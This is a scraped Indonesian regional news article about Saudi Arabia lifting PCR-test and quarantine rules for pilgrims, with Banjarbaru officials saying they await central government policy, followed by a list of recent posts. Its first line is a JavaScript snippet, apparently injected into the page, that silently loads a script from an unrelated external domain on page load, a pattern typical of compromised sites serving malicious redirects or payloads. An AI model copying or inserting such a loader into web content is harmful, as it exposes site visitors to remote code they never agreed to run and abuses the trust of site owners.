(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ragam

Arab Saudi Cabut Syarat Tes PCR dan Karantina, Kemenag Banjarbaru Tunggu Kebijakan Pemerintah Pusat


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Arab Saudi melakukan pelonggaran sejumlah aturan yang berkaitan dengan protokol kesehatan (prokes).

Salah satu aturan yang dicabut Arab Saudi adalah keharusan tes PCR dan karantina untuk setiap kedatangan jemaah ke Tanah Suci.

Hal itu akan berimbas kepada calon jemaah haji dan umrah yang ada di Indonesia tidak terkecuali di Kota Banjarbaru.

Kepala Kantor Kementerian Agama (Kemenag) Kota Banjarbaru, H Mahrus mengatakan pihaknya masih menunggu kebijakan pemerintah pusat untuk menindaklanjuti hal tersebut.

“Apabila sekarang Arab Saudi membuka, maka kita menunggu kebijakan pemerintah pusat dalam hal ini Kementerian Agama,” ucapnya.

 

Kasi PHU Kantor Kemenag Kota Banjarbaru, Ahmad Syauqi. Foto: ibnu

Baca juga : Jelang Porprov, KONI HSU Berharap DPRD Ikut Perjuangkan Anggaran Atlet

Diharapkannya dengan dicabutnya keharusan tes PCR dan karantina bagi setiap orang yang datang ke Tanah Suci, Kementerian Agama bisa menindaklanjuti hal tersebut, sebab sudah dua tahun terakhir jemaah haji tidak diberangkatkan.

Terpisah Kepala Seksi Penyelenggaraan Haji dan Umrah (PHU) Kantor Kemenag Banjarbaru, Ahmad Syauqi mengatakan, dirinya juga masih menunggu kebijakan pemerintah pusat, walaupun di Arab Saudi kebijakan karantina dan PCR ditiadakan, belum tentu di Indonesia menggunakan kebijakan hal yang sama bagi yang datang.

“Sementara di Arab Saudi tidak lagi karantina, tetapi di kita apakah akan karantina atau tidak itu belum menerima kebijakannya,” ungkapnya.

Terkait peraturan tersebut untuk jemaah Indonesia dikatakan Syauqi akan ada peraturan khusus untuk mengaturnya.

Hingga saat ini menurut informasi yang diterima Syauqi, Arab Saudi sudah merapatkan saf dan hanya mewajibkan memakai masker dalam masjid.

 

Baca juga : Evaluasi Kemenpan RB, Dinas PMPTSP Banjarbaru Raih Predikat Tertinggi Bidang Pelayanan Publik

Sekedar diketahui jemaah haji dan umrah Indonesia sudah dua tahun tidak diberangkatkan sebab dilanda pandemi Covid-19, jemaah umrah sempat berangkat di tahun 2021, namun varian Delta naik kemudian Arab Saudi menutup bandara.

“Desember tadi sudah dibuka untuk umrah, namun bandara ditutupnya, sehingga terjadi keterlambatan,” tutupnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.